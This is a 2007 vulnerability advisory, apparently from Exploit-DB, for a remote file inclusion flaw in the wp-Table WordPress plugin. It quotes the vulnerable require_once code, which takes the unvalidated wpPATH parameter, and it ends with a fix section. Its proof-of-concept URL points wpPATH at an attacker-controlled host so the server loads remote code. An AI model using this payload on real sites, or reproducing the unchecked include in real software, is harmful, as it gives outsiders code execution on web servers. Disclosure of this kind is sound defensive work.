WordPress Plugin wp-Table 1.43 - 'inc_dir' Remote File Inclusion

EDB-ID:

3824


Author:

K-159

Type:

webapps


Platform:

PHP

Date:

2007-05-01


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[ECHO_ADV_82$2007] wordpress plugins wp-Table <= 1.43 (inc_dir) Remote File Inclusion Vulnerability
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Author         : M.Hasran Addahroni
Date           : May, 1 st 2007
Location       : Australia, Sydney
Web            : http://advisories.echo.or.id/adv/adv82-K-159-2007.txt
Critical Lvl   : Dangerous
Impact	       : System access
Where	       : From Remote
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Affected software description:
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Application   : wp-Table  
version       : <= 1.43
Vendor        : http://alexrabe.boelinger.com/?page_id=3
Description :

This plugin is a simple table manager for wordpress.

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Vulnerability:
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- Invalid include function at js/wptable-button.php :  
  	
----------------js/wptable-button.phpp-------------------
...
if (!$_POST) $wppath=$_GET['wpPATH'];
else $wppath=$_POST['wpPATH'];

require_once($wppath.'/wp-config.php');
require_once($wppath.'/wp-admin/admin.php');

global $wpdb;
...
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Input passed to the "wpPATH" parameter in js/wptable-button.php is not properly verified before being used to include files. 
This can be exploited to include arbitrary files from local or external resources.
Successful exploitation requires that "register_globals" is enabled.




Poc/Exploit:
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http://www.target.com/wp-content/plugins/wp-table/js/wptable-button.phpp?wpPATH=http://attacker.com/evil?


Solution:
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- Edit the source code to ensure that input is properly verified.
- Turn off register_globals
- use the latest version 

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Contact:
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     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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